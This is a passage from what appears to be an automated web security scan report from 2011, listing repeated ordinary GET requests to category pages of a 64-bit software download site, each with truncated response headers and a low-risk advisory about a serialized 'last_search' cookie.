GET /categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2239%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83121
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2240%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66926
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-downloads-3-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:39 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 82470
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:41 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2241%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79258
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2242%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2243%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2248%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76989
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2249%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 78664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2245%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2246%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2247%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81928
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-desktop-downloads-4-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%224%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-development-downloads-5-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%225%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-education-downloads-6-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%226%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 74554
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-games-entertainment-downloads-7-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%227%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-graphic-apps-downloads-8-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%228%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81027
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-home-hobby-downloads-9-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%229%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-multimedia-design-downloads-258-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:36 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22258%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29669
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-network-internet-downloads-10-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2210%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79744
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-security-privacy-downloads-11-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2211%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86135
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-servers-downloads-12-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2212%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-system-utilities-downloads-13-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2213%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83609
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-web-development-downloads-14-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2214%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-widgets-downloads-304-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
